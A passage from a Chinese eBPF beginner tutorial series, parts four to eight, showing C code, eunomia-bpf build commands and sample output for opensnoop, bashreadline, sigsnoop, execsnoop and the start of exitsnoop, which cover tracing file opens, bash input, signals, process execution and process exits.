<li>使用 <code>SEC</code> 宏定义一个 eBPF 程序,关联到 tracepoint &quot;tracepoint/syscalls/sys_enter_openat&quot;。这个 tracepoint 会在进程发起 <code>sys_openat</code> 系统调用时触发。</li>
<li>实现 eBPF 程序 <code>tracepoint__syscalls__sys_enter_openat</code>,它接收一个类型为 <code>struct trace_event_raw_sys_enter</code> 的参数 <code>ctx</code>。这个结构体包含了关于系统调用的信息。</li>
<li>使用 <code>bpf_get_current_pid_tgid()</code> 函数获取当前进程的 PID 和 TID线程 ID。由于我们只关心 PID所以将其值右移 32 位赋值给 <code>u32</code> 类型的变量 <code>pid</code></li>
<li>检查 <code>pid_target</code> 变量是否与当前进程的 pid 相等。如果 <code>pid_target</code> 不为 0 且与当前进程的 pid 不相等,则返回 <code>false</code>,不对该进程的 <code>sys_openat</code> 调用进行捕获。</li>
<li>使用 <code>bpf_printk()</code> 函数打印捕获到的进程 ID 和 <code>sys_openat</code> 调用的相关信息。这些信息可以在用户空间通过 BPF 工具查看。</li>
<li>将程序许可证设置为 &quot;GPL&quot;,这是运行 eBPF 程序的必要条件。</li>
</ol>
<p>这个 eBPF 程序可以通过 libbpf 或 eunomia-bpf 等工具加载到内核并执行。它将捕获指定进程(或所有进程)的 sys_openat 系统调用,并在用户空间输出相关信息。</p>
<p>eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 <a href="https://github.com/eunomia-bpf/eunomia-bpf">https://github.com/eunomia-bpf/eunomia-bpf</a> 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。</p>
<p>编译运行上述代码:</p>
<pre><code class="language-console">$ ecc opensnoop.bpf.c
Compiling bpf object...
Packing ebpf object and config into package.json...
$ sudo ecli run package.json
Runing eBPF program...
</code></pre>
<p>运行这段程序后,可以通过查看 <code>/sys/kernel/debug/tracing/trace_pipe</code> 文件来查看 eBPF 程序的输出:</p>
<pre><code class="language-console">$ sudo cat /sys/kernel/debug/tracing/trace_pipe
&lt;...&gt;-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 3840345 enter sys openat
&lt;...&gt;-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 3840345 enter sys openat
</code></pre>
<p>此时,我们已经能够捕获进程打开文件的系统调用了。</p>
<h2 id="使用全局变量在-ebpf-中过滤进程-pid"><a class="header" href="#使用全局变量在-ebpf-中过滤进程-pid">使用全局变量在 eBPF 中过滤进程 pid</a></h2>
<p>全局变量在 eBPF 程序中充当一种数据共享机制,它们允许用户态程序与 eBPF 程序之间进行数据交互。这在过滤特定条件或修改 eBPF 程序行为时非常有用。这种设计使得用户态程序能够在运行时动态地控制 eBPF 程序的行为。</p>
<p>在我们的例子中,全局变量 <code>pid_target</code> 用于过滤进程 PID。用户态程序可以设置此变量的值以便在 eBPF 程序中只捕获与指定 PID 相关的 <code>sys_openat</code> 系统调用。</p>
<p>使用全局变量的原理是,全局变量在 eBPF 程序的数据段data section中定义并存储。当 eBPF 程序加载到内核并执行时,这些全局变量会保持在内核中,可以通过 BPF 系统调用进行访问。用户态程序可以使用 BPF 系统调用中的某些特性,如 <code>bpf_obj_get_info_by_fd</code><code>bpf_obj_get_info</code>,获取 eBPF 对象的信息,包括全局变量的位置和值。</p>
<p>可以通过执行 ecli -h 命令来查看 opensnoop 的帮助信息:</p>
<pre><code class="language-console">$ ecli package.json -h
Usage: opensnoop_bpf [--help] [--version] [--verbose] [--pid_target VAR]
Trace open family syscalls.
Optional arguments:
-h, --help shows help message and exits
-v, --version prints version information and exits
--verbose prints libbpf debug information
--pid_target Process ID to trace
Built with eunomia-bpf framework.
See https://github.com/eunomia-bpf/eunomia-bpf for more information.
</code></pre>
<p>可以通过 <code>--pid_target</code> 选项来指定要捕获的进程的 pid例如</p>
<pre><code class="language-console">$ sudo ./ecli run package.json --pid_target 618
Runing eBPF program...
</code></pre>
<p>运行这段程序后,可以通过查看 <code>/sys/kernel/debug/tracing/trace_pipe</code> 文件来查看 eBPF 程序的输出:</p>
<pre><code class="language-console">$ sudo cat /sys/kernel/debug/tracing/trace_pipe
&lt;...&gt;-3840345 [010] d... 3220701.101179: bpf_trace_printk: Process ID: 618 enter sys openat
&lt;...&gt;-3840345 [010] d... 3220702.158000: bpf_trace_printk: Process ID: 618 enter sys openat
</code></pre>
<h2 id="总结-3"><a class="header" href="#总结-3">总结</a></h2>
<p>本文介绍了如何使用 eBPF 程序来捕获进程打开文件的系统调用。在 eBPF 程序中,我们可以通过定义 <code>tracepoint__syscalls__sys_enter_open</code><code>tracepoint__syscalls__sys_enter_openat</code> 函数并使用 <code>SEC</code> 宏把它们附加到 sys_enter_open 和 sys_enter_openat 两个 tracepoint 来捕获进程打开文件的系统调用。我们可以使用 <code>bpf_get_current_pid_tgid</code> 函数获取调用 open 或 openat 系统调用的进程 ID并使用 <code>bpf_printk</code> 函数在内核日志中打印出来。在 eBPF 程序中,我们还可以通过定义一个全局变量 <code>pid_target</code> 来指定要捕获的进程的 pid从而过滤输出只输出指定的进程的信息。</p>
<p>通过学习本教程,您应该对如何在 eBPF 中捕获和过滤特定进程的系统调用有了更深入的了解。这种方法在系统监控、性能分析和安全审计等场景中具有广泛的应用。</p>
<p>更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:<a href="https://github.com/eunomia-bpf/eunomia-bpf">https://github.com/eunomia-bpf/eunomia-bpf</a></p>
<p>如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 或网站 <a href="https://eunomia.dev/zh/tutorials/">https://eunomia.dev/zh/tutorials/</a> 以获取更多示例和完整的教程。</p>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf-入门开发实践教程五在-ebpf-中使用--uprobe-捕获-bash-的-readline-函数调用"><a class="header" href="#ebpf-入门开发实践教程五在-ebpf-中使用--uprobe-捕获-bash-的-readline-函数调用">eBPF 入门开发实践教程五:在 eBPF 中使用 uprobe 捕获 bash 的 readline 函数调用</a></h1>
<p>eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具,它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。</p>
<p>本文是 eBPF 入门开发实践教程的第五篇,主要介绍如何使用 uprobe 捕获 bash 的 readline 函数调用。</p>
<h2 id="什么是uprobe"><a class="header" href="#什么是uprobe">什么是uprobe</a></h2>
<p>uprobe是一种用户空间探针uprobe探针允许在用户空间程序中动态插桩插桩位置包括函数入口、特定偏移处以及函数返回处。当我们定义uprobe时内核会在附加的指令上创建快速断点指令x86机器上为int3指令当程序执行到该指令时内核将触发事件程序陷入到内核态并以回调函数的方式调用探针函数执行完探针函数再返回到用户态继续执行后序的指令。</p>
<p>uprobe基于文件当一个二进制文件中的一个函数被跟踪时所有使用到这个文件的进程都会被插桩包括那些尚未启动的进程这样就可以在全系统范围内跟踪系统调用。</p>
<p>uprobe适用于在用户态去解析一些内核态探针无法解析的流量例如http2流量报文header被编码内核无法解码https流量加密流量内核无法解密</p>
<h2 id="使用-uprobe-捕获-bash-的-readline-函数调用"><a class="header" href="#使用-uprobe-捕获-bash-的-readline-函数调用">使用 uprobe 捕获 bash 的 readline 函数调用</a></h2>
<p>uprobe 是一种用于捕获用户空间函数调用的 eBPF 的探针,我们可以通过它来捕获用户空间程序调用的系统函数。</p>
<p>例如,我们可以使用 uprobe 来捕获 bash 的 readline 函数调用,从而获取用户在 bash 中输入的命令行。示例代码如下:</p>
<pre><code class="language-c">#include &lt;vmlinux.h&gt;
#include &lt;bpf/bpf_helpers.h&gt;
#include &lt;bpf/bpf_tracing.h&gt;
#define TASK_COMM_LEN 16
#define MAX_LINE_SIZE 80
/* Format of u[ret]probe section definition supporting auto-attach:
* u[ret]probe/binary:function[+offset]
*
* binary can be an absolute/relative path or a filename; the latter is resolved to a
* full binary path via bpf_program__attach_uprobe_opts.
*
* Specifying uprobe+ ensures we carry out strict matching; either &quot;uprobe&quot; must be
* specified (and auto-attach is not possible) or the above format is specified for
* auto-attach.
*/
SEC(&quot;uretprobe//bin/bash:readline&quot;)
int BPF_KRETPROBE(printret, const void *ret)
{
char str[MAX_LINE_SIZE];
char comm[TASK_COMM_LEN];
u32 pid;
if (!ret)
return 0;
bpf_get_current_comm(&amp;comm, sizeof(comm));
pid = bpf_get_current_pid_tgid() &gt;&gt; 32;
bpf_probe_read_user_str(str, sizeof(str), ret);
bpf_printk(&quot;PID %d (%s) read: %s &quot;, pid, comm, str);
return 0;
};
char LICENSE[] SEC(&quot;license&quot;) = &quot;GPL&quot;;
</code></pre>
<p>这段代码的作用是在 bash 的 readline 函数返回时执行指定的 BPF_KRETPROBE 函数,即 printret 函数。</p>
<p>在 printret 函数中,我们首先获取了调用 readline 函数的进程的进程名称和进程 ID然后通过 bpf_probe_read_user_str 函数读取了用户输入的命令行字符串,最后通过 bpf_printk 函数打印出进程 ID、进程名称和输入的命令行字符串。</p>
<p>除此之外,我们还需要通过 SEC 宏来定义 uprobe 探针,并使用 BPF_KRETPROBE 宏来定义探针函数。</p>
<p>在 SEC 宏中,我们需要指定 uprobe 的类型、要捕获的二进制文件的路径和要捕获的函数名称。例如,上面的代码中的 SEC 宏的定义如下:</p>
<pre><code class="language-c">SEC(&quot;uprobe//bin/bash:readline&quot;)
</code></pre>
<p>这表示我们要捕获的是 /bin/bash 二进制文件中的 readline 函数。</p>
<p>接下来,我们需要使用 BPF_KRETPROBE 宏来定义探针函数,例如:</p>
<pre><code class="language-c">BPF_KRETPROBE(printret, const void *ret)
</code></pre>
<p>这里的 printret 是探针函数的名称const void *ret 是探针函数的参数,它代表被捕获的函数的返回值。</p>
<p>然后,我们使用了 bpf_get_current_comm 函数获取当前任务的名称,并将其存储在 comm 数组中。</p>
<pre><code class="language-c"> bpf_get_current_comm(&amp;comm, sizeof(comm));
</code></pre>
<p>使用 bpf_get_current_pid_tgid 函数获取当前进程的 PID并将其存储在 pid 变量中。</p>
<pre><code class="language-c"> pid = bpf_get_current_pid_tgid() &gt;&gt; 32;
</code></pre>
<p>使用 bpf_probe_read_user_str 函数从用户空间读取 readline 函数的返回值,并将其存储在 str 数组中。</p>
<pre><code class="language-c"> bpf_probe_read_user_str(str, sizeof(str), ret);
</code></pre>
<p>最后使用 bpf_printk 函数输出 PID、任务名称和用户输入的字符串。</p>
<pre><code class="language-c"> bpf_printk(&quot;PID %d (%s) read: %s &quot;, pid, comm, str);
</code></pre>
<p>eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 <a href="https://github.com/eunomia-bpf/eunomia-bpf">https://github.com/eunomia-bpf/eunomia-bpf</a> 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。</p>
<p>编译运行上述代码:</p>
<pre><code class="language-console">$ ecc bashreadline.bpf.c
Compiling bpf object...
Packing ebpf object and config into package.json...
$ sudo ecli run package.json
Runing eBPF program...
</code></pre>
<p>运行这段程序后,可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出:</p>
<pre><code class="language-console">$ sudo cat /sys/kernel/debug/tracing/trace_pipe
bash-32969 [000] d..31 64001.375748: bpf_trace_printk: PID 32969 (bash) read: fff
bash-32969 [000] d..31 64002.056951: bpf_trace_printk: PID 32969 (bash) read: fff
</code></pre>
<p>可以看到,我们成功的捕获了 bash 的 readline 函数调用,并获取了用户在 bash 中输入的命令行。</p>
<h2 id="总结-4"><a class="header" href="#总结-4">总结</a></h2>
<p>在上述代码中,我们使用了 SEC 宏来定义了一个 uprobe 探针,它指定了要捕获的用户空间程序 (bin/bash) 和要捕获的函数 (readline)。此外,我们还使用了 BPF_KRETPROBE 宏来定义了一个用于处理 readline 函数返回值的回调函数 (printret)。该函数可以获取到 readline 函数的返回值,并将其打印到内核日志中。通过这样的方式,我们就可以使用 eBPF 来捕获 bash 的 readline 函数调用,并获取用户在 bash 中输入的命令行。</p>
<p>更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:<a href="https://github.com/eunomia-bpf/eunomia-bpf">https://github.com/eunomia-bpf/eunomia-bpf</a></p>
<p>如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 或网站 <a href="https://eunomia.dev/zh/tutorials/">https://eunomia.dev/zh/tutorials/</a> 以获取更多示例和完整的教程。</p>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf-入门开发实践教程六捕获进程发送信号的系统调用集合使用-hash-map-保存状态"><a class="header" href="#ebpf-入门开发实践教程六捕获进程发送信号的系统调用集合使用-hash-map-保存状态">eBPF 入门开发实践教程六:捕获进程发送信号的系统调用集合,使用 hash map 保存状态</a></h1>
<p>eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具,它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。</p>
<p>本文是 eBPF 入门开发实践教程的第六篇,主要介绍如何实现一个 eBPF 工具,捕获进程发送信号的系统调用集合,使用 hash map 保存状态。</p>
<h2 id="sigsnoop"><a class="header" href="#sigsnoop">sigsnoop</a></h2>
<p>示例代码如下:</p>
<pre><code class="language-c">#include &lt;vmlinux.h&gt;
#include &lt;bpf/bpf_helpers.h&gt;
#include &lt;bpf/bpf_tracing.h&gt;
#define MAX_ENTRIES 10240
#define TASK_COMM_LEN 16
struct event {
unsigned int pid;
unsigned int tpid;
int sig;
int ret;
char comm[TASK_COMM_LEN];
};
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, __u32);
__type(value, struct event);
} values SEC(&quot;.maps&quot;);
static int probe_entry(pid_t tpid, int sig)
{
struct event event = {};
__u64 pid_tgid;
__u32 tid;
pid_tgid = bpf_get_current_pid_tgid();
tid = (__u32)pid_tgid;
event.pid = pid_tgid &gt;&gt; 32;
event.tpid = tpid;
event.sig = sig;
bpf_get_current_comm(event.comm, sizeof(event.comm));
bpf_map_update_elem(&amp;values, &amp;tid, &amp;event, BPF_ANY);
return 0;
}
static int probe_exit(void *ctx, int ret)
{
__u64 pid_tgid = bpf_get_current_pid_tgid();
__u32 tid = (__u32)pid_tgid;
struct event *eventp;
eventp = bpf_map_lookup_elem(&amp;values, &amp;tid);
if (!eventp)
return 0;
eventp-&gt;ret = ret;
bpf_printk(&quot;PID %d (%s) sent signal %d &quot;,
eventp-&gt;pid, eventp-&gt;comm, eventp-&gt;sig);
bpf_printk(&quot;to PID %d, ret = %d&quot;,
eventp-&gt;tpid, ret);
cleanup:
bpf_map_delete_elem(&amp;values, &amp;tid);
return 0;
}
SEC(&quot;tracepoint/syscalls/sys_enter_kill&quot;)
int kill_entry(struct trace_event_raw_sys_enter *ctx)
{
pid_t tpid = (pid_t)ctx-&gt;args[0];
int sig = (int)ctx-&gt;args[1];
return probe_entry(tpid, sig);
}
SEC(&quot;tracepoint/syscalls/sys_exit_kill&quot;)
int kill_exit(struct trace_event_raw_sys_exit *ctx)
{
return probe_exit(ctx, ctx-&gt;ret);
}
char LICENSE[] SEC(&quot;license&quot;) = &quot;Dual BSD/GPL&quot;;
</code></pre>
<p>上面的代码定义了一个 eBPF 程序,用于捕获进程发送信号的系统调用,包括 kill、tkill 和 tgkill。它通过使用 tracepoint 来捕获系统调用的进入和退出事件,并在这些事件发生时执行指定的探针函数,例如 probe_entry 和 probe_exit。</p>
<p>在探针函数中,我们使用 bpf_map 存储捕获的事件信息,包括发送信号的进程 ID、接收信号的进程 ID、信号值和进程的可执行文件名称。在系统调用退出时我们将获取存储在 bpf_map 中的事件信息,并使用 bpf_printk 打印进程 ID、进程名称、发送的信号和系统调用的返回值。</p>
<p>最后,我们还需要使用 SEC 宏来定义探针,并指定要捕获的系统调用的名称,以及要执行的探针函数。</p>
<p>eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 <a href="https://github.com/eunomia-bpf/eunomia-bpf">https://github.com/eunomia-bpf/eunomia-bpf</a> 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。</p>
<p>编译运行上述代码:</p>
<pre><code class="language-shell">docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest
</code></pre>
<p>或者</p>
<pre><code class="language-console">$ ecc sigsnoop.bpf.c
Compiling bpf object...
Generating export types...
Packing ebpf object and config into package.json...
$ sudo ecli run package.json
Runing eBPF program...
</code></pre>
<p>运行这段程序后,可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出:</p>
<pre><code class="language-console">$ sudo cat /sys/kernel/debug/tracing/trace_pipe
systemd-journal-363 [000] d...1 672.563868: bpf_trace_printk: PID 363 (systemd-journal) sent signal 0
systemd-journal-363 [000] d...1 672.563869: bpf_trace_printk: to PID 1400, ret = 0
systemd-journal-363 [000] d...1 672.563870: bpf_trace_printk: PID 363 (systemd-journal) sent signal 0
systemd-journal-363 [000] d...1 672.563870: bpf_trace_printk: to PID 1527, ret = -3
</code></pre>
<h2 id="总结-5"><a class="header" href="#总结-5">总结</a></h2>
<p>本文主要介绍如何实现一个 eBPF 工具,捕获进程发送信号的系统调用集合,使用 hash map 保存状态。使用 hash map 需要定义一个结构体:</p>
<pre><code class="language-c">struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, MAX_ENTRIES);
__type(key, __u32);
__type(value, struct event);
} values SEC(&quot;.maps&quot;);
</code></pre>
<p>并使用一些对应的 API 进行访问,例如 bpf_map_lookup_elem、bpf_map_update_elem、bpf_map_delete_elem 等。</p>
<p>更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:<a href="https://github.com/eunomia-bpf/eunomia-bpf">https://github.com/eunomia-bpf/eunomia-bpf</a></p>
<p>如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 或网站 <a href="https://eunomia.dev/zh/tutorials/">https://eunomia.dev/zh/tutorials/</a> 以获取更多示例和完整的教程。</p>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf-入门实践教程七捕获进程执行事件通过-perf-event-array-向用户态打印输出"><a class="header" href="#ebpf-入门实践教程七捕获进程执行事件通过-perf-event-array-向用户态打印输出">eBPF 入门实践教程七:捕获进程执行事件,通过 perf event array 向用户态打印输出</a></h1>
<p>eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具,它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。</p>
<p>本文是 eBPF 入门开发实践教程的第七篇,主要介绍如何捕获 Linux 内核中进程执行的事件,并且通过 perf event array 向用户态命令行打印输出,不需要再通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出。通过 perf event array 向用户态发送信息之后,可以进行复杂的数据处理和分析。</p>
<h2 id="perf-buffer"><a class="header" href="#perf-buffer">perf buffer</a></h2>
<p>eBPF 提供了两个环形缓冲区,可以用来将信息从 eBPF 程序传输到用户区控制器。第一个是perf环形缓冲区它至少从内核v4.15开始就存在了。第二个是后来引入的 BPF 环形缓冲区。本文只考虑perf环形缓冲区。</p>
<h2 id="execsnoop"><a class="header" href="#execsnoop">execsnoop</a></h2>
<p>通过 perf event array 向用户态命令行打印输出,需要编写一个头文件,一个 C 源文件。示例代码如下:</p>
<p>头文件execsnoop.h</p>
<pre><code class="language-c">#ifndef __EXECSNOOP_H
#define __EXECSNOOP_H
#define TASK_COMM_LEN 16
struct event {
int pid;
int ppid;
int uid;
int retval;
bool is_exit;
char comm[TASK_COMM_LEN];
};
#endif /* __EXECSNOOP_H */
</code></pre>
<p>源文件execsnoop.bpf.c</p>
<pre><code class="language-c">// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
#include &lt;vmlinux.h&gt;
#include &lt;bpf/bpf_helpers.h&gt;
#include &lt;bpf/bpf_core_read.h&gt;
#include &quot;execsnoop.h&quot;
struct {
__uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
__uint(key_size, sizeof(u32));
__uint(value_size, sizeof(u32));
} events SEC(&quot;.maps&quot;);
SEC(&quot;tracepoint/syscalls/sys_enter_execve&quot;)
int tracepoint__syscalls__sys_enter_execve(struct trace_event_raw_sys_enter* ctx)
{
u64 id;
pid_t pid, tgid;
struct event event={0};
struct task_struct *task;
uid_t uid = (u32)bpf_get_current_uid_gid();
id = bpf_get_current_pid_tgid();
tgid = id &gt;&gt; 32;
event.pid = tgid;
event.uid = uid;
task = (struct task_struct*)bpf_get_current_task();
event.ppid = BPF_CORE_READ(task, real_parent, tgid);
char *cmd_ptr = (char *) BPF_CORE_READ(ctx, args[0]);
bpf_probe_read_str(&amp;event.comm, sizeof(event.comm), cmd_ptr);
bpf_perf_event_output(ctx, &amp;events, BPF_F_CURRENT_CPU, &amp;event, sizeof(event));
return 0;
}
char LICENSE[] SEC(&quot;license&quot;) = &quot;GPL&quot;;
</code></pre>
<p>这段代码定义了个 eBPF 程序,用于捕获进程执行 execve 系统调用的入口。</p>
<p>在入口程序中,我们首先获取了当前进程的进程 ID 和用户 ID然后通过 bpf_get_current_task 函数获取了当前进程的 task_struct 结构体,并通过 bpf_probe_read_str 函数读取了进程名称。最后,我们通过 bpf_perf_event_output 函数将进程执行事件输出到 perf buffer。</p>
<p>使用这段代码,我们就可以捕获 Linux 内核中进程执行的事件, 并分析进程的执行情况。</p>
<p>eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 <a href="https://github.com/eunomia-bpf/eunomia-bpf">https://github.com/eunomia-bpf/eunomia-bpf</a> 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。</p>
<p>使用容器编译:</p>
<pre><code class="language-shell">docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest
</code></pre>
<p>或者使用 ecc 编译:</p>
<pre><code class="language-shell">ecc execsnoop.bpf.c execsnoop.h
</code></pre>
<p>运行</p>
<pre><code class="language-console">$ sudo ./ecli run package.json
TIME PID PPID UID COMM
21:28:30 40747 3517 1000 node
21:28:30 40748 40747 1000 sh
21:28:30 40749 3517 1000 node
21:28:30 40750 40749 1000 sh
21:28:30 40751 3517 1000 node
21:28:30 40752 40751 1000 sh
21:28:30 40753 40752 1000 cpuUsage.sh
</code></pre>
<h2 id="总结-6"><a class="header" href="#总结-6">总结</a></h2>
<p>本文介绍了如何捕获 Linux 内核中进程执行的事件,并且通过 perf event array 向用户态命令行打印输出,通过 perf event array 向用户态发送信息之后,可以进行复杂的数据处理和分析。在 libbpf 对应的内核态代码中,定义这样一个结构体和对应的头文件:</p>
<pre><code class="language-c">struct {
__uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
__uint(key_size, sizeof(u32));
__uint(value_size, sizeof(u32));
} events SEC(&quot;.maps&quot;);
</code></pre>
<p>就可以往用户态直接发送信息。</p>
<p>更多的例子和详细的开发指南,请参考 eunomia-bpf 的官方文档:<a href="https://github.com/eunomia-bpf/eunomia-bpf">https://github.com/eunomia-bpf/eunomia-bpf</a></p>
<p>如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 <a href="https://github.com/eunomia-bpf/bpf-developer-tutorial">https://github.com/eunomia-bpf/bpf-developer-tutorial</a> 或网站 <a href="https://eunomia.dev/zh/tutorials/">https://eunomia.dev/zh/tutorials/</a> 以获取更多示例和完整的教程。</p>
<div style="break-before: page; page-break-before: always;"></div><h1 id="ebpf-入门开发实践教程八在-ebpf-中使用-exitsnoop-监控进程退出事件使用-ring-buffer-向用户态打印输出"><a class="header" href="#ebpf-入门开发实践教程八在-ebpf-中使用-exitsnoop-监控进程退出事件使用-ring-buffer-向用户态打印输出">eBPF 入门开发实践教程八:在 eBPF 中使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出</a></h1>
<p>eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。</p>
<p>本文是 eBPF 入门开发实践教程的第八篇,在 eBPF 中使用 exitsnoop 监控进程退出事件。</p>
<h2 id="ring-buffer"><a class="header" href="#ring-buffer">ring buffer</a></h2>
<p>现在有一个新的 BPF 数据结构可用eBPF 环形缓冲区ring buffer。它解决了 BPF perf buffer当今从内核向用户空间发送数据的事实上的标准的内存效率和事件重排问题同时达到或超过了它的性能。它既提供了与 perf buffer 兼容以方便迁移,又有新的保留/提交API具有更好的可用性。另外合成和真实世界的基准测试表明在几乎所有的情况下所以考虑将其作为从BPF程序向用户空间发送数据的默认选择。</p>
<h3 id="ebpf-ringbuf-vs-ebpf-perfbuf"><a class="header" href="#ebpf-ringbuf-vs-ebpf-perfbuf">eBPF ringbuf vs eBPF perfbuf</a></h3>
<p>只要 BPF 程序需要将收集到的数据发送到用户空间进行后处理和记录,它通常会使用 BPF perf bufferperfbuf来实现。Perfbuf 是每个CPU循环缓冲区的集合它允许在内核和用户空间之间有效地交换数据。它在实践中效果很好但由于其按CPU设计它有两个主要的缺点在实践中被证明是不方便的内存的低效使用和事件的重新排序。</p>
<p>为了解决这些问题从Linux 5.8开始BPF提供了一个新的BPF数据结构BPF map。BPF环形缓冲区ringbuf。它是一个多生产者、单消费者MPSC队列可以同时在多个CPU上安全共享。</p>
<p>BPF ringbuf 支持来自 BPF perfbuf 的熟悉的功能:</p>
<ul>
<li>变长的数据记录。</li>
<li>能够通过内存映射区域有效地从用户空间读取数据,而不需要额外的内存拷贝和/或进入内核的系统调用。</li>
<li>既支持epoll通知又能以绝对最小的延迟进行忙环操作。</li>
</ul>
<p>同时BPF ringbuf解决了BPF perfbuf的以下问题:</p>
<ul>
<li>内存开销。</li>
<li>数据排序。</li>
<li>浪费的工作和额外的数据复制。</li>
</ul>
<h2 id="exitsnoop"><a class="header" href="#exitsnoop">exitsnoop</a></h2>
<p>本文是 eBPF 入门开发实践教程的第八篇,在 eBPF 中使用 exitsnoop 监控进程退出事件,并使用 ring buffer 向用户态打印输出。</p>
<p>使用 ring buffer 向用户态打印输出的步骤和 perf buffer 类似,首先需要定义一个头文件:</p>
<p>头文件exitsnoop.h</p>
<pre><code class="language-c">#ifndef __BOOTSTRAP_H
#define __BOOTSTRAP_H
#define TASK_COMM_LEN 16
#define MAX_FILENAME_LEN 127
struct event {
int pid;
int ppid;
unsigned exit_code;
unsigned long long duration_ns;
char comm[TASK_COMM_LEN];
};
#endif /* __BOOTSTRAP_H */
</code></pre>
<p>源文件exitsnoop.bpf.c</p>
<pre><code class="language-c">#include &quot;vmlinux.h&quot;
#include &lt;bpf/bpf_helpers.h&gt;
#include &lt;bpf/bpf_tracing.h&gt;
#include &lt;bpf/bpf_core_read.h&gt;
#include &quot;exitsnoop.h&quot;
char LICENSE[] SEC(&quot;license&quot;) = &quot;Dual BSD/GPL&quot;;
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} rb SEC(&quot;.maps&quot;);
SEC(&quot;tp/sched/sched_process_exit&quot;)
int handle_exit(struct trace_event_raw_sched_process_template* ctx)
{
struct task_struct *task;
struct event *e;
pid_t pid, tid;
u64 id, ts, *start_ts, start_time = 0;
/* get PID and TID of exiting thread/process */
id = bpf_get_current_pid_tgid();
pid = id &gt;&gt; 32;
tid = (u32)id;
/* ignore thread exits */
if (pid != tid)
return 0;
/* reserve sample from BPF ringbuf */
e = bpf_ringbuf_reserve(&amp;rb, sizeof(*e), 0);
if (!e)
return 0;
/* fill out the sample with data */
task = (struct task_struct *)bpf_get_current_task();
start_time = BPF_CORE_READ(task, start_time);
e-&gt;duration_ns = bpf_ktime_get_ns() - start_time;
e-&gt;pid = pid;
e-&gt;ppid = BPF_CORE_READ(task, real_parent, tgid);
e-&gt;exit_code = (BPF_CORE_READ(task, exit_code) &gt;&gt; 8) &amp; 0xff;
bpf_get_current_comm(&amp;e-&gt;comm, sizeof(e-&gt;comm));
/* send data to user-space for post-processing */
bpf_ringbuf_submit(e, 0);
return 0;
}
</code></pre>
<p>这段代码展示了如何使用 exitsnoop 监控进程退出事件并使用 ring buffer 向用户态打印输出:</p>
<ol>
<li>首先,我们引入所需的头文件和 exitsnoop.h。</li>
<li>定义一个名为 &quot;LICENSE&quot; 的全局变量,内容为 &quot;Dual BSD/GPL&quot;,这是 eBPF 程序的许可证要求。</li>
<li>定义一个名为 rb 的 BPF_MAP_TYPE_RINGBUF 类型的映射,它将用于将内核空间的数据传输到用户空间。指定 max_entries 为 256 * 1024代表 ring buffer 的最大容量。</li>
<li>定义一个名为 handle_exit 的 eBPF 程序,它将在进程退出事件触发时执行。传入一个名为 ctx 的 trace_event_raw_sched_process_template 结构体指针作为参数。</li>
<li>使用 bpf_get_current_pid_tgid() 函数获取当前任务的 PID 和 TID。对于主线程PID 和 TID 相同;对于子线程,它们是不同的。我们只关心进程(主线程)的退出,因此在 PID 和 TID 不同时返回 0忽略子线程退出事件。</li>
<li>使用 bpf_ringbuf_reserve 函数为事件结构体 e 在 ring buffer 中预留空间。如果预留失败,返回 0。</li>
